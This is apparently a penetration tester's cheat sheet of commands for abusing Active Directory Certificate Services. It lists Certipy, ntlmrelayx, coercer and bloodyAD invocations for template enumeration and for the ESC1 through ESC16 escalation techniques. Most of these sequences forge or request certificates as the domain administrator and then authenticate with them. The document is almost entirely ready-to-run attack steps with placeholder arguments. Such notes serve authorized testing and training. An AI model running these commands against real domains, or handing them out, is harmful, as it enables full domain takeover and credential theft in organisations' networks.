Installation

https://github.com/ly4k/Certipy/wiki/04-%E2%80%90-Installation

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sudo apt update && sudo apt install -y python3 python3-pip
python3 -m venv certipy-venv
source certipy-venv/bin/activate
pip install certipy-ad

or

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pipx install -f "git+https://github.com/ly4k/Certipy.git"

Enumeration

Find PKI Enrollment Services in Active Directory and Certificate Templates Names

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nxc ldap ip -u username -p password -M adcs

Search for vulnerable certificate templates

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certipy find -u username -p password -target dc -dc-ip ip -enabled -vulnerable -stdout

Attacks

ESC1

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addcomputer.py domain/username:password -computer-name computer_name -computer-pass computer_password
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certipy req -u computer_name -p computer_password -ca ca -target domain -template template -upn administrator -dc-ip ip

Or

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certipy req -u username -p password -ca ca -target domain -template template -upn administrator -dc-ip ip

Sometimes if you run certipy and see Minimum RSA Key Length : 4096, you need to provide -key-size 4096

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certipy req -u username -p password -ca ca -target domain -template template -upn administrator -dc-ip ip -key-size 4096
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certipy auth -pfx administrator.pfx -domain domain -u username -dc-ip ip

New update:

By February 2025, if the StrongCertificateBindingEnforcement registry key is not configured, domain controllers will move to Full Enforcement mode

https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16

Fix: add the sid

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certipy req -u username -p password -ca ca -target domain -template template -upn administrator -sid <administrator sid> -dc-ip ip 

ESC3

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certipy req -u username -p password -ca ca -target domain -template template
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certipy req username -p password -ca ca -target domain -template User -on-behalf-of administrator -pfx pfx_file
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certipy auth -pfx administrator.pfx -dc-ip ip

ESC4

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certipy template -u username -p password -template template -save-old -dc-ip ip
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certipy req -u username -p password -dc-ip ip -ca ca -target dc -template template -upn administrator
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certipy auth -pfx administrator.pfx -domain domain -u administrator -dc-ip ip

ESC7

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certipy ca -ca ca -add-officer username -u username@domain -p password -dc-ip ip -dns-tcp -ns ip
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certipy ca -ca ca -enable-template SubCA -u username@domain -p password -dc-ip ip -dns-tcp -ns ip
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certipy req -u username@domain -p password -ca ca -target ip -template SubCA -upn username@domain
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certipy ca -ca ca -issue-request request_ID -u username@domain -p password
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certipy req -u username@domain -p password -ca ca -target ip -retrieve request_ID
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certipy auth -pfx pfx_file -domain domain -u username -dc-ip ip

ESC8

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ntlmrelayx.py -t http://domain/certsrv/certfnsh.asp -smb2support --adcs --template template --no-http-server --no-wcf-server --no-raw-server
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coercer coerce -u username -p password -l ws_ip -t dc_ip --always-continue
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certipy- auth -pfx administrator.pfx

ESC9

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certipy shadow auto -u username@domain -hashes :hash -account target_username
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certipy account update -u username@domain -hashes :hash -user target_username -upn administrator
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certipy req -u target_username@domain -hashes :target_hash -ca ca -template template -target $DC_IP
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certipy account update -u username@domain -hashes :hash -user target_username -upn target_username
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certipy auth -pfx administrator.pfx -domain domain

ESC13

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certipy req -u username -p password -ca ca -target domain -template template -dc-ip ip -key-size 4096
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python3 gettgtpkinit.py -cert-pfx pfx_file domain/username ccache_file -dc-ip ip -v

ESC14 - Scenario B

https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#4a82

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bloodyAD --host dc -d domain -u username -p password set object target altSecurityIdentities -v 'X509:<RFC822>target@domain'
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bloodyAD --host dc -d domain -u owned_user -p password set object target mail -v target@domain
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certipy account update -u owned_user@domain -p password -user username -upn target
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certipy req -u username -p password -ca ca -template template -dc-ip ip
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certipy account update -u owned_user -p password -user username -upn username@domain -dc-ip ip
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certipy auth -pfx pfx -dc-ip ip -user target -domain domain

ESC15

Method 1

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certipy req -u username@domain -p password -dc-ip ip -ca ca -template WebServer -application-policies 'Certificate Request Agent'
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certipy req -u username@domain -p password -dc-ip ip -ca ca -template User -pfx user.pfx -on-behalf-of 'DOMAIN\Administrator'
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certipy auth -pfx administrator.pfx -dc-ip ip

Method 2

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certipy req -u username@domain -p password -dc-ip ip -target dc -ca ca -template template -upn administrator@domain -sid <administrator sid> -application-policies 'Client Authentication'
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certipy auth -pfx administrator.pfx -dc-ip ip -ldap-shell

ESC16

We use a user that has GenericAll or GenericWrite

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certipy account -u username@domain -p password -dc-ip ip -upn administrator -user owned_user update
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certipy req -u owned_user@domain -p password -dc-ip ip -target dc -ca ca -template User -upn administrator@domain -sid <administrator sid>
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certipy account -u username@domain -p password -dc-ip ip -upn owned_user -user owned_user update
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certipy auth -pfx administrator.pfx -dc-ip ip -domain domain

Resources